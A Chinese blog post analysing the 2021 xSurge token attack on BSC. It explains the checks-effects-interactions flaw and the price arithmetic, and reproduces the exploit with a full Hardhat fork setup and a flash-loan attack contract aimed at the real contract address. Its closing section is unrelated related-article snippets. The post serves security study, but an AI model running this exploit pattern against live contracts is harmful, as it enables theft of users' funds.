智能合约经典漏洞案例,xSurge 重入漏洞+套利 综合运用

智能合约经典漏洞案例,xSurge 重入漏洞+套利 综合运用

1. 事件介绍

xSurge 被攻击事件发生在 2021-08-16 日,距离今天已经近 1 年了,为什么还会选择这个事件进行分析?主要是这个攻击过程很有意思,有以下的几点思考

  • 使用 nonReentrant 防止重入,又在代码中又不遵循检查-生效-交互模式(checks-effects-interactions)时,要怎么利用?
  • 该漏洞利用的代码是重入漏洞的典型代码,但利用过程却不是重入。应该是”最像重入漏洞的套利漏洞”。
  • 随着 ERC20 合约的规范化,ERC20 的合约漏洞越来越少。xSurge 会不会是 ERC20 合约最后的漏洞?
  • 价格计算机制既然可以从数学上证明存在漏洞,能不能用数学的方法来挖掘此类的漏洞?
  • 该攻击过程中与闪电贷的完美结合。所有的攻击成本只有 gas 费,漏洞利用的大资金从闪电贷中获得,攻击获利后归还闪电贷的本息。闪电贷使攻击的收益损失比大大大大地提高。

xSurge 是一个基于 bsc 链的 Defi 的生态系统,其代币为 xSurgeToken,用户可以通过持有 xSurgeToken 获得高收益回报,同时可以将 xSurgeToken 用于其 Defi 生态中的。xSurgeToken 遵循 ERC20 协议,初始供应量为 10 亿枚,随着用户的对 xSurgeToken 的转入转出,xSurgeToken 的价格会动态进行调整。
在 2021-08-16 日,黑客通过 xSurgeToken 合约代码中的漏洞,窃取了 xSurgeToken 合约中的 12161 个 BNB。具体来说黑客采用闪电贷出的 10000 WBNB 做为初始资金,通过代码漏洞套利,淘空了 xSurgeToken 合约的 BNB 余额,同时套利使 xSurgeToken 的价格下降了 7 千多倍。
本文将重点分析和复现 xSurge 的攻击过程。

2. 漏洞分析

漏洞可以被利用主要在于两点:

  1. sell 函数中先转了 xSurge 代币,后进行了余额的减操作,导致余额会在短暂时间内留存,这笔余额被黑客用来再次购买了 xSurge。
  2. xSurge 的价格计算过程中,在有更多的买入时,会导致 xSurge 的价格变低,xSurge 的价格变低,又会导致可以购买更多的 xSurge,类似于滚雪球,越滚越大,最终把 xSurge 合约掏空。同时,叠加黑客利用闪电贷,贷到 10000 个 WBNB 进行攻击,这么大一笔钱对 xSurge 价格影响更大,从而导致循环调用 8 次就可以掏空 xSurge 合约。

对这前两点进行分析说明

2.1 漏洞代码分析

漏洞代码链接如下:
https://bscscan.com/address/0xe1e1aa58983f6b8ee8e4ecd206cea6578f036c21#code
漏洞涉及到三个函数,:

  1. sell():卖出 xSurge,把卖出得到的 BNB 发送给出售者(也就是函数调用者)
  2. purchase():买入指定数量的 xSurge。该函数为 internal 类型,只能由下面的 recive()函数调用。
  3. receive():receive 不是普通函数,是 solidity 的回调函数。当 xSurge 合约收到 BNB 时,该函数会自动执行,在该函数中调用了 purchase()函数。

漏洞点在于:sell()函数中调用了 call 函数后才进行 balance 的减法操作,攻击者通过 call 函数获得代码控制权后,在 balance 还没减掉的情况下,攻击者调用 purchase 方法进行购买,达到了类似套利的效果。
众所周知,“更高成本带来更高的收益”,黑客看到这种机会,也期望着有更多的投入来套取更大的收益,于是,攻击者为了扩大这种攻击效果,使用了闪电贷,从 Pancake 中贷出来 10000 个 BNB 进行攻击,在一个区块中经过 8 次的“套利”,获得了 12161 个 BNB。

在代码中,看到攻击利用的关键点

/** Purchases SURGE Tokens and Deposits Them in Sender's Address*/
// 利用关键点3:这里调用了mint时,balance还是没有减之前的,所以mint出来的肯定会多一些。function purchase(address buyer, uint256 bnbAmount) internal returns (bool) {// make sure we don't buy more than the bnb in this contractrequire(bnbAmount <= address(this).balance, 'purchase not included in balance');// previous amount of BNB before we received anyuint256 prevBNBAmount = (address(this).balance).sub(bnbAmount);// if this is the first purchase, use current balanceprevBNBAmount = prevBNBAmount == 0 ? address(this).balance : prevBNBAmount;// find the number of tokens we should mint to keep up with the current priceuint256 nShouldPurchase = hyperInflatePrice ? _totalSupply.mul(bnbAmount).div(address(this).balance) : _totalSupply.mul(bnbAmount).div(prevBNBAmount);// apply our spread to tokens to inflate price relative to total supplyuint256 tokensToSend = nShouldPurchase.mul(spreadDivisor).div(10**2);// revert if under 1if (tokensToSend < 1) {revert('Must Buy More Than One Surge');}// mint the tokens we need to the buyermint(buyer, tokensToSend);  **// 到这里就成功了。**emit Transfer(address(this), buyer, tokensToSend);return true;}/** Sells SURGE Tokens And Deposits the BNB into Seller's Address */function sell(uint256 tokenAmount) public nonReentrant returns (bool) {address seller = msg.sender;// make sure seller has this balancerequire(_balances[seller] >= tokenAmount, 'cannot sell above token amount');// calculate the sell fee from this transactionuint256 tokensToSwap = tokenAmount.mul(sellFee).div(10**2);// how much BNB are these tokens worth?uint256 amountBNB = tokensToSwap.mul(calculatePrice());// 利用关键点1:漏洞地方,在call中程序的控制权被转移到攻击者手里。但是在攻击balance的数量却还没有少(bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");if (successful) {// subtract full amount from sender,在这里才开始减掉balance的数量_balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');// if successful, remove tokens from supply_totalSupply = _totalSupply.sub(tokenAmount);} else {revert();}emit Transfer(seller, address(this), tokenAmount);return true;}// 利用关键点2:攻击合约得到程序控制权后,直接向xsurge合约进行转账,从而触发xsurge合约的receive函数的调用。这里会调用purchase函数
receive() external payable {uint256 val = msg.value;address buyer = msg.sender;purchase(buyer, val);}

2.2 xSurgeToken 价格计算方式+闪电贷

从 xSurge 的合约代码可知,xSurgeToken 的基础数量为 10 亿,在 sell 时,_totalSupply 会减,在 purchase 时,_totalSupply 会增加。产生的影响是:黑客买入更多的 xSurgeToken 时,xSurgeToken 的价格会降低。
xSurge 的价格计算方法如下:xSurge 合约.balance/_totalSupply

// 计算xsurge的价格,xsurge价格=this.balance/_totalSupplyfunction calculatePrice() public view returns (uint256) {return ((address(this).balance).div(_totalSupply));}

可以把复现过程中,xSurge 的价格,xSurge 合约的 BNB 余额(下面 quantity 的值),xSurge 的供应量打印出来(下面_totalSupply 的值)。

2 times sell
cur price:40431697 = quantity(23614362876275166045082) / _totalSupply(584055694626796)[recevie ]AttackContract xsurge balance:290602026064411, BNB balance11044561081497012206562
3 times sell
cur price:30436844 = quantity(23614362876275166045082) / _totalSupply(775847945216500)[recevie ]AttackContract xsurge balance:482394273111949, BNB balance13801605682969677247808
4 times sell
cur price:17900419 = quantity(23614362876275166045082) / _totalSupply(1319207269744644)[recevie ]AttackContract xsurge balance:1025753540789277, BNB balance17259733080609943264480
5 times sell
cur price:6449277 = quantity(23614362876275166045082) / _totalSupply(3661551965635088)
…………

在整个攻击过程中,从 xSurge 合约的角度看,xSurge 合约中的 BNB 没有变化(一直都是 23614362876275166045082),但 xSurge 供应量totalSupply 一直在增加,xSurge 的价格一路走低。(注意这句话中三个变量的顺序,这也是黑客攻击过程中的各个变量的变化趋势:xSurge 合约中的 BNB→xSurge 供应量_totalSupply→xSurge 的价格)。
从 sell 方法中,输入的是 xSurgeToken,输出的是 BNB,计算 BNB 的公式如下:
image.png
在 purchase 方法中,输入的是 BNB,输出的是 xSurgeToken,计算 xSurgeToken 的公式如下:
image.png
转化成
image.png
在这个 sell 方法 purchase 方法调用过程中,实现套利,sell 得到的 bnb(也就是公式 1)需要大于 purchase 时输入的 bnb(也就是公式 2),所以公式 1 的右边>公式 2 的右边,得到下面的不等式.
(0.94 * balance * xSurge) / totalSupply>(xSurge
balance)/(0.94totalSupply+xSurge)$$(0.94 * balance * xSurge) / totalSupply
计算得出
image.png
也就是,当购买 xSurgeToken 投入的资本量大于 0.1238
totalSupply 时,可以实现套利。
我们打印出黑客攻击时的 xSurgeToken 的价格和 totalSupply,分别为 46393569, 293453665448225
需要投入的最少的 xSurge 数量为:0.1238293453665448225 = 36329563782490.255。
所以攻击所需要的最低成本大约为:数量
价格=36329563782490.255_46393569 = 1685.4e18 = 1685 个 BNB。如果攻击时,使用少于 1685 个 BNB 的话,会导致入不敷出。
我们通过使用 1000 个 BNB 进行攻击来模拟下入不敷出的场景,在这种场景下,xSurge 的价格会越来越高(如下图),最终导致连 1000 个 BNB 的本金都会亏损(在调用 11 次 sell 后,1000 个 BNB 只会剩下 426 个)。

攻击者因此采用了闪电贷的方式获得 10000 个 BNB 到 xSurge 合约后进行攻击,换出一大笔 xSurgeToken,在 xSurge 合约 sell 中代币余额没有减的漏洞,在调用 xSurge 的 purchase 时,_totalSupply 会增大,导致价格减少,循环下去,_totalSupply 越来越大,xSurge 价格越来越小。
价格越来越小,就导致在这 10000 个 BNB 的本钱下,可换出来的 xSurge 越来越多。

3.攻击过程分析

根据交易的 tx: 0x7e2a6ec08464e8e0118368cb933dc64ed9ce36445ecf9c49cacb970ea78531d2 ,可以看到黑客通过部署了攻击合约,并调用攻击合约进行攻击,在攻击合约中使用了 Pancake 的闪电贷功能,所有的攻击过程都在 PancakePair.swap 的闪电贷方法中进行。

在闪电贷中,通过查看调用 swap 方法时的参数,其中的 data 数据就是闪电货的回调函数,攻击合约贷出来的币会在该回调函数中进行套利使用。

重点看下闪电贷中的回调函数操作:
主要操作如下:

  1. 将闪电贷中贷出来的 10000 BNB 转移至攻击合约中。做为攻击时套利时的本钱。
  2. 开始利用漏洞套利。
    1. 计算当前 xSurge 的价格。
    2. 攻击合约将所有的 BNB 买入 xSurge。(买入了 202,610,205,836,752 xSurge)
    3. 攻击合约调用 xSurge 的 sell 方法,将 xSurge 卖掉,同时得到 BNB(得到了 9066.40333453581 BNB, 🥵 到此黑客还是赔本的,因为贷出的 10000 个 BNB 现在变成了 9066 个……)。此时攻击合约得到了 BNB,但攻击合约中的 xsurge 的数量还是没有减掉的。sell 方法中的 call 函数会把程序的控制权转换到攻击合约的 fallback 中。
    4. 攻击合约的 fallback 函数中。1.计算下当前拥有的 xSurge 的余额。2.将 c 中得到的 BNB 再转给 xSurge 合约,购买 xSurge。(此时的 xsurge 数量为 290,629,974,679,289,与 b 中的 xsurge 数量相比 202,610,205,836,752 ,已经多出来很多了……)

  1. 重复上面 2 中的漏洞利用过程,就导致攻击合约所拥有的 xSurge 数量滚雪球一样的越来越多。(如第二次重复时,BNB 从 9066 变成 11044BNB,对应的 xSurge 从 290,629,974,679,289 增长到 482,532,660,156,157),到第三次重复时,BNB 的数量就达到 13802,第四次重复到了 17260,…………,到第 8 次,BNB 到了 22191 后,阿祖开始收手了…
  2. 还闪电贷的利息。连本带利还了 10030 BNB(攻击完成后共有 22191 BNB),净到手 12161 BNB。


可以看下这 8 次的操作时,账户金额的变化,从最初的闪电贷贷出的初始 10000 BNB 做为黑客的“创业资本”,黑客的 BNB 的数量越来多。同时,xSurge 的价格也越来越低,这是由黑客的套利行为引起的 xSurge 的价格变化。

次数xSurge 的价格初始买入 xSurge 的数量sell 后得到的 BNB 数量调用 receive 后得到的 xSurge 数量
146,394,503202,610,205,836,7529066290,629,974,679,289
240,429,226290,629,974,679,28911044482,532,660,156,157
330,429,743482,532,660,156,157138021,026,387,665,528,484
417,889,9001,026,387,665,528,484172603,372,122,831,057,924
56,441,1973,372,122,831,057,9242041722,033,618,137,782,256
61,057,46822,033,618,137,782,25621901269,089,469,621,295,418
787,645269,089,469,621,295,418221693,896,288,852,239,436,433
86,0593,896,288,852,239,436,43322191

4. 攻击复现

攻击复现时在 fork 对应的区块时,不要使用 morails,morails 的加速节点有问题,无法 fork 成功。alchemy 又不支持 bsc 链,这里使用了 quicknode 进行区块 fork 。
另外黑客攻击发生在 10087724 区块高度,使用 quicknode 从 10087723fork 后,得到的 xSurge 的价格与黑客攻击时稍微的不同,猜测可能是由于对应的区块中也有对 xSurgeToken 的调用导致 xSurge 的价格产生了稍微的变化。
攻击复现的效果图如下:

4.1 harhat.config.ts 配置文件

import { HardhatUserConfig } from "hardhat/config";
import "@nomicfoundation/hardhat-toolbox";const config: HardhatUserConfig = {solidity: {version: "0.8.8",settings: {optimizer: {enabled: true,runs: 200,},},},networks: {hardhat: {forking: {// url: "https://speedy-nodes-nyc.moralis.io/*******/bsc/mainnet/archive",// url: "https://eth-mainnet.alchemyapi.io/v2/*******",url: "https://falling-wandering-river.bsc.discover.quiknode.pro/*******/",// 	10087724  19381696blockNumber: 10087723,},loggingEnabled: false,gas: 20_000_000,}}
};export default config;

使用 hardhat 进行攻击复现。攻击复现代码如下,使用的复现命令为

npx hardhat run scripts/deploy.ts --network hardhat

4.2 attack.sol

攻击合约。
攻击合约中有定义 maxSellNumber 状态变量,用来指定调用 sell 方法的次数。可以通过修改这个状态变量的值,来观察不同的区块高度上的 xSurgeToken 状态下,最优的 sell 次数。
攻击合约中有几点注意事项:

  1. 在攻击合约的 receive()回调中,通过 maxSellNumber 控制最后一次不要执行“向 xSurge 转入 BNB,再次买入 xSurge”的操作(如果每次都执行这个操作,最终的资金全部在 xSurge 中,最终会把所有的资金锁死)。
  2. 攻击流程如下:
    1. 闪电贷 10000 个 WBNB,将 10000 个 WBNB 换成 10000 个原生代币 BNB
    2. 使用 10000 个 BNB 购买 xSurgeToken
    3. 调用 xSurge.sell,触发漏洞。同时在攻击合约的 fallback 中再次买入 xSurge 的操作。
    4. 重复 c 中的操作方法 maxSellNumber-1 次
    5. 调用 xSurge.sell,此时攻击合约的 fallback 中不再买入 xSurge,此时攻击合约会得到 BNB
    6. 攻击合约将得到的 BNB,转换成 WBNB 后,归还闪电贷后剩下的 WBNB 就是黑客攻击所得。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/Uniswap.sol";
import "hardhat/console.sol";
import "./IXsurge.sol";
import "./interfaces/IWBNB.sol";
interface IPancakeCallee {function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
contract Attack is IPancakeCallee, Ownable{address private constant UniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;address private constant PancakeToken= 0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82;address private constant PancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;address private constant PanckaePair = 0x0eD7e52944161450477ee417DE9Cd3a859b14fD0;address private constant surgeTokenAddr = 0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21;uint256 curSellNumber = 0;uint256 constant maxSellNumber = 8;constructor(){}fallback() external {}receive() payable external {if(msg.sender==surgeTokenAddr && curSellNumber<=maxSellNumber-1){console.log("[recevie()]AttackContract xsurge balance:%s, BNB balance:%s",ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),address(this).balance);uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));payable(surgeTokenAddr).call{value:address(this).balance}(""); // 向xSurge转入BNB,再次买入xSurge}}function  startAttack(address _tokenBorrow, uint256 _amount) public onlyOwner {address pair = IUniswapV2Factory(PancakeFactory).getPair(_tokenBorrow, PancakeToken);require(pair!=address(0), "the pair _tokenBorrow is not exist...");address token0 = IUniswapV2Pair(pair).token0();address token1 = IUniswapV2Pair(pair).token1();uint256 amount0Out = _tokenBorrow==token0 ? _amount : 0;uint256 amount1Out = _tokenBorrow== token1 ? _amount : 0;bytes memory data = abi.encode(_tokenBorrow, _amount);IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);}function pancakeCall(address _sender, uint amount0, uint amount1, bytes calldata _data) external override{address token0 = IUniswapV2Pair(msg.sender).token0();address token1 = IUniswapV2Pair(msg.sender).token1();// call uniswapv2factory to getpairaddress pair = IUniswapV2Factory(PancakeFactory).getPair(token0, token1);require(msg.sender == pair, "!pair");// check sender holds the address who initiated the flash loansrequire(_sender == address(this), "!sender");(address tokenBorrow, uint amount) = abi.decode(_data, (address, uint));uint256 price = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();// console.log("price:", price); //46394463console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",IERC20(WBNB).balanceOf(address(this)),IERC20(surgeTokenAddr).balanceOf(address(this)),address(this).balance);// 将从闪电贷中得到的10000 WBNB转化成自身的 BNBconsole.log("AttackContract get %s WBNB to BNB", amount);IWBNB(payable(WBNB)).withdraw(amount);console.log("Attack WBNB blance:%s, xsurge balance:%s, balance:%s",IERC20(WBNB).balanceOf(address(this)),IERC20(surgeTokenAddr).balanceOf(address(this)),address(this).balance);// 将自身从闪电贷中的得到的WBNB,转化成BNB后,充值给xSurgerToken.console.log("AttackContract send %s BNB to xSurgeToken", amount);payable(surgeTokenAddr).call{value:amount}("");console.log("[Before]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s",IERC20(WBNB).balanceOf(address(this)),IERC20(surgeTokenAddr).balanceOf(address(this)),address(this).balance);// 将得到的xSurge sell掉,在调用xSurge的sell方法时,sell方法的call会将程序控制权交到attackContract的receiver回调函数中。curSellNumber = 1;uint256 hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));// console.log("hackContractXsurge count:", hackContractXsurge);console.log("%s times sell", curSellNumber);uint256 xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",price,xSurgeTokenBnbQuantity,xSurgeTokenBnbQuantity/price);ISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);// 将上面的方法连续调用多次。curSellNumber++;for (; curSellNumber<=maxSellNumber; curSellNumber++) {uint256 curPrice = ISurgeToken(payable(surgeTokenAddr)).calculatePrice();xSurgeTokenBnbQuantity = ISurgeToken(payable(surgeTokenAddr)).getBNBQuantityInContract();console.log("%s times sell",curSellNumber);console.log("cur price:%s = quantity(%s) / _totalSupply(%s)",curPrice,xSurgeTokenBnbQuantity,xSurgeTokenBnbQuantity/curPrice);hackContractXsurge = IERC20(surgeTokenAddr).balanceOf(address(this));// 每次sell时,控制权会来到receive函数中,在receive中向xSurgeToken转入BNB买入xSurgeISurgeToken(payable(surgeTokenAddr)).sell(hackContractXsurge);}console.log("[After loop]AttackContract xsurge balance:%s, BNB balance:%s",ISurgeToken(payable(surgeTokenAddr)).balanceOf(address(this)),address(this).balance);console.log("BNB-> WBNB:%s->%s",address(this).balance,IWBNB(payable(WBNB)).balanceOf(address(this)));payable(WBNB).call{value:address(this).balance}("");console.log("[Compelete...]BNB-> WBNB:%s->%s",address(this).balance,IWBNB(payable(WBNB)).balanceOf(address(this)));// 归还闪电贷。0.3% feesuint fee = ((amount * 3) / 997) + 1;uint amountToRepay = amount + fee;console.log("return %s WBNB(amountToRepay:%s) flashloan...Cur constract WBNB balance:%s\n",amount/1 ether,amountToRepay/1 ether,IERC20(WBNB).balanceOf(address(this))/1 ether);IERC20(tokenBorrow).transfer(pair, amountToRepay);console.log("[Filnal...]AttackContract WBNB blance:%s, xsurge balance:%s, balance:%s\n",IERC20(WBNB).balanceOf(address(this))/1 ether,IERC20(surgeTokenAddr).balanceOf(address(this)),address(this).balance);}
}

4.3 deploy.ts

脚本的主要功能为部署攻击合约,调用攻击合约。

import { ethers } from "hardhat";
import hre from "hardhat";
import "@nomicfoundation/hardhat-chai-matchers";
import { BigNumber } from "ethers";async function main() {const ERC20ABI = require("@uniswap/v2-core/build/ERC20.json").abi;const WBNB = "0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c";const XSurgeTokenAddr = "0xE1E1Aa58983F6b8eE8E4eCD206ceA6578F036c21";let borrowAmount = ethers.BigNumber.from("10000000000000000000000"); // 使用10000个BNB攻击// let borrowAmount = ethers.BigNumber.from("2000000000000000000000"); // 2000个BNB// let borrowAmount = ethers.BigNumber.from("1000000000000000000000"); // 1000个BNB,可用来模拟入不敷出的场景// 1.部署AttackContractconst Attack = await ethers.getContractFactory("Attack");var attackContract = await Attack.deploy();await attackContract.deployed();var Alice;[Alice] =await hre.ethers.getSigners();// 2.调用攻击合约的闪电贷const WBNBContract = new ethers.Contract(WBNB, ERC20ABI, Alice);const XSurgeContract = new ethers.Contract(XSurgeTokenAddr, ERC20ABI, Alice);console.log("[Before Attack.....]AttackContract xsurge balance:%s ether, WBNB balance:%s ether, BNB balance:%s ether\n",ethers.utils.formatEther(await XSurgeContract.balanceOf(attackContract.address)),ethers.utils.formatEther(await WBNBContract.balanceOf(attackContract.address)),ethers.utils.formatEther(await attackContract.provider.getBalance(attackContract.address)));console.log("attackContract startAttack flahloan.....");await attackContract.startAttack(WBNB, borrowAmount);
}main().catch((error) => {console.error(error);process.exitCode = 1;
});

4.4 复现时要注意的事项

黑客利用的区块高度为 10087724,因此复现时计划从上一区块,也就是 10087723 进行 fork。但这过程中有一些坑。

  1. moralis 是我最喜欢用的,首先是因为 morails 支持的公链更多,但从 10087723 fork 时,一直指示 timestamp 的错误,导致 fork 失败。而尝试后发现,如果从最新产生的区块高度 19381696 附近进行 fork 的话,则会成功。因此,对于比较久远的区块,morails fork 时可能会出现问题。
  2. 后来尝试使用 alchemy,alchemyapi 目前支持 ethereum, polygon, arbitrum, optimism 公链,暂不支持 BSC 链,因此也放弃。

  1. 使用 quiknode 提供的节点功能,可以成功,但 quiknode 速度稍慢一些。

5.总结

5.1 xSurge 漏洞是一个不完全的重入漏洞

再看下漏洞存在的 sell 方法中的关键代码,sell 方法有 nonReentrant 修饰符,存在对重入攻击的防范措施,所以在 sell 函数执行完之前,攻击者是无法再次进入到 sell 函数中的。在漏洞利用中,攻击者也没有利用漏洞再次进行 sell 函数,而是利用漏洞后进入 purchase 函数。

function sell(uint256 tokenAmount) public nonReentrant returns (bool) {address seller = msg.sender;……………………(bool successful,) = payable(seller).call{value: amountBNB, gas: 40000}("");if (successful) {_balances[seller] = _balances[seller].sub(tokenAmount, 'sender does not have this amount to sell');_totalSupply = _totalSupply.sub(tokenAmount);} else {revert();}}

本次合约代码中存在的漏洞利用与传统的重入攻击有些区别。

  • 传统的重入攻击常见的场景是,合约 A 的 a 方法(a 方法调用了 call 方法,且 balance 的 sub 操作在 call 方法后)存在重入漏洞,在执行到漏洞点 call 函数时,攻击者的合约 B 得到回调函数 b 得到控制权,攻击者通过在 b 中再次调用合约 A 的 a 方法,…………,一个重入的自动循环就产生了。在这种场景下是 A 合约的 a 方法与 B 合约的 b 方法构成调用循环。
  • 而此次攻击中,xSurge 合约的 sell 方法(sell 方法中调用了 call 方法)中存在重入漏洞,在执行到漏洞点 call 函数时,攻击者的合约 B 得到回调函数 b 得到控制权,攻击者通过在 b 中调用的 xSurge 合约 purchase 方法,实现效果的并不是 2 个函数之间的自动来回循环,而是两个函数实现一次套利,人工的多次调用套利操作。更像是个半自动的过程。

5.2 循环的利用次数要严格控制

请思考下,为什么黑客攻击是进行 8 次就中止?为什么不是 9 次或者 7 次,而是 8 次?如果真的执行 9 次会怎么样?如果执行 11 次会怎样?如果执行 12 次会怎么?
因为 xSurge 合约中的代币数量在第 8 次时收益会最大,打印出调用 sell 的次数时,对应的取出的 BNB 数量,在第 8 次时有 22192 的收益,收益最大。第 9 次时,收益只有 22187 在第 11 次时,此时 xSurge 的价格只有 2 了,收益只有 21928 了。
如果第 12 次,xSurge 里的代币价值就不够你充值的 BNB 了,会导致黑客所有的 xsurge 都取不出来,在这种情况下,黑客就会偷鸡不成反蚀米,充值充爆了 xSurgeToken,还无法从 xSurgeToken 中取出 BNB。
下表中的 cur price 表示当前次数时,xSurge 的价格;BNB balance 表示当前次数时的收益。

  • 当调用 sell 方法的次数小于 8 时,价格越来越低,BNB 的收益越来越高。
  • 当调用 sell 方法的次数大于 8 时,价格越来越低,BNB 的收益越来越低。
7 times sell, cur price:87868
[recevie ]AttackContract xsurge balance:268451834133810277, BNB balance22173026215969462900880
8 times sell, cur price:6075
[recevie ]AttackContract xsurge balance:3886227754608511667, BNB balance22192303592691905868450
9 times sell, cur price:414
[recevie ]AttackContract xsurge balance:57012958598099436221, BNB balance22187162968036376599458
10 times sell, cur price:28
[recevie ]AttackContract xsurge balance:833145075801540780287, BNB balance21928378395096553337132
11 times sell
[recevie ]AttackContract xsurge balance:0, BNB balance19149587866837346185250

5.3 价格波动问题

Defi 生态中都会存在价格波动,如何检测到价格波动是否正常是 Defi 生态中要考虑的最最重要的问题。历史上很多次的攻击都是由于价格波动引起的,闪电贷的方式又可以让攻击者以一种杠杆的方式加大价格的波动,加大后的价格波动又成为套利的温床。
xSurge 的价格波动可以通过数学的方式计算出来,能否后续会有一种安全产品:基于产品的实现逻辑抽取出价格模型,由数学证明价格模型来发现漏洞?

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/143305.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

UG\NX二次开发 通过点云生成曲面 UF_MODL_create_surf_from_cloud

文章作者:里海 来源网站:《里海NX二次开发3000例专栏》 感谢粉丝订阅 感谢 Rlgun 订阅本专栏,非常感谢。 简介 有网友想做一个通过点云生成曲面的程序,我们也试一下 效果 代码 #include "me.hpp" /*HEAD CREATE_SURF_FROM_CLOUD CCC UFUN */

【2023年11月第四版教材】第15章《风险管理》(合集篇)

第15章《风险管理》&#xff08;合集篇&#xff09; 1 章节说明2 管理基础2.1 风险的属性2.2 风险的分类★★★2.3 风险成本★★★2.4 管理新实践 3 管理过程4 管理ITTO汇总★★★5 过程1-规划风险管理6 过程2-识别风险6.1 识别风险★★★6.2 数据收集★★★6.3 数据分析★★★…

基于微信小程序快递取件上门预约服务系统设计与实现(开题报告+任务书+源码+lw+ppt +部署文档+讲解)

文章目录 前言运行环境说明用户的主要功能有&#xff1a;管理员的主要功能有&#xff1a;具体实现截图详细视频演示代码参考论文参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&#xff0c;…

范数Norm-衡量向量大小的方法

性质 非负性: 范数的值总是非负的,且当且仅当向量全为零时,范数的值为零。 齐次性: 对于任意实数α,有 三角不等式: 对于任意向量x和y,有 常见范数 L1: 向量所有元素绝对值的和,权重稀疏 L2:欧几里得范数,权重平滑 无穷范数:表示向量中最大的元素 为什么使用范…

【VUE复习·6】监视属性watch:用途、两种写法、简写、应用时注意事项(重点)、深度监视(重点)

总览 1.监视属性是用来干什么的&#xff1f; 2.监视属性的两种写法 3.应用时注意事项 4.深度监视 一、监视属性是用来干什么的&#xff1f; 1.用途 监视一个值&#xff08;可以是基本属性 data&#xff0c;或者是计算属性 computed&#xff09;是否被改变。如果此值被改变&…

C语言-变量与数据类型

一、基本语法 1、注释 注释&#xff08;Comments&#xff09;可以出现在代码中的任何位置&#xff0c;用来向用户提示或解释代码的含义。程序编译时&#xff0c;会忽略注释&#xff0c;不做任何处理。 C 语言有两种注释方式&#xff1a; &#xff08;1&#xff09;单行注释 …

3+单基因泛癌+铜死亡纯生信思路

今天给同学们分享一篇3单基因泛癌铜死亡纯生信思路的生信文章“Systematic pan-cancer analysis identifies SLC31A1 as a biomarker in multiple tumor types”&#xff0c;这篇文章于2023年3月27日发表在BMC Med Genomics 期刊上&#xff0c;影响因子为3.622。 溶质载体家族3…

【Unity】简单的深度虚化shader

【Unity】简单的深度虚化shader 实现效果 可以用于对地图场景边界的白模处理 实现方法 1.关键方法 UnityObjectToClipPos&#xff1a;将物体坐标转换为屏幕坐标 LinearEyeDepth&#xff1a;将屏幕坐标中的z值转换为实际的深度值 saturate&#xff1a;将值规范到0~1之间&a…

【AI视野·今日Robot 机器人论文速览 第四十一期】Tue, 26 Sep 2023

AI视野今日CS.Robotics 机器人学论文速览 Tue, 26 Sep 2023 Totally 73 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Robotics Papers Extreme Parkour with Legged Robots Authors Xuxin Cheng, Kexin Shi, Ananye Agarwal, Deepak Pathak人类可以通过以高度动态…

成为吃鸡战场的王者!分享顶级战术干货,助您提高战斗力!

各位吃鸡战场的玩家们&#xff0c;欢迎来到本视频&#xff01;在这里&#xff0c;我将为您呈现一些与众不同的吃鸡干货&#xff0c;帮助您提高战斗力、轻松吃鸡&#xff01; 首先&#xff0c;让我们谈一谈作图工具推荐。绝地求生作图工具是吃鸡玩家们的必备利器。我将给大家推荐…

IDEA运行第一个Java简单程序(新建项目到运行类)

目录 前言 一、准备工作 JDK下载安装 1.IDEA下载安装 二、IDEA建立项目 &#xff08;一&#xff09;新建项目&#xff08;银河系&#xff09; &#xff08;二&#xff09;新建模块&#xff08;地球&#xff09; &#xff08;三&#xff09;新建包&#xff08;国家&#…

1.3python基础语法——PyCharm

1&#xff09;PyCharm的作用 python的集成开发环境&#xff0c;功能如下&#xff1a; Project管理 智能提示 语法高亮 代码跳转 调试代码 解释代码(解释器) 框架和库 2&#xff09;下载与安装 下载地址&#xff1a;http://www.jetbrains.com/pycharm/download/#sectionwind…

查询表中的全部列的数据

MySQL从小白到总裁完整教程目录:https://blog.csdn.net/weixin_67859959/article/details/129334507?spm1001.2014.3001.5502 语法格式: select from * 表名; 说明: * 表示所有列 由于不写where子句&#xff0c;表示无条件&#xff0c;找到所有的行&#xff01; 准备工作:执…

【计算机网络笔记九】I/O 多路复用

阻塞 IO 和 非阻塞 IO 阻塞 I/O 和 非阻塞 I/O 的主要区别&#xff1a; 阻塞 I/O 执行用户程序操作是同步的&#xff0c;调用线程会被阻塞挂起&#xff0c;会一直等待内核的 I/O 操作完成才返回用户进程&#xff0c;唤醒挂起线程非阻塞 I/O 执行用户程序操作是异步的&#xf…

909. 蛇梯棋

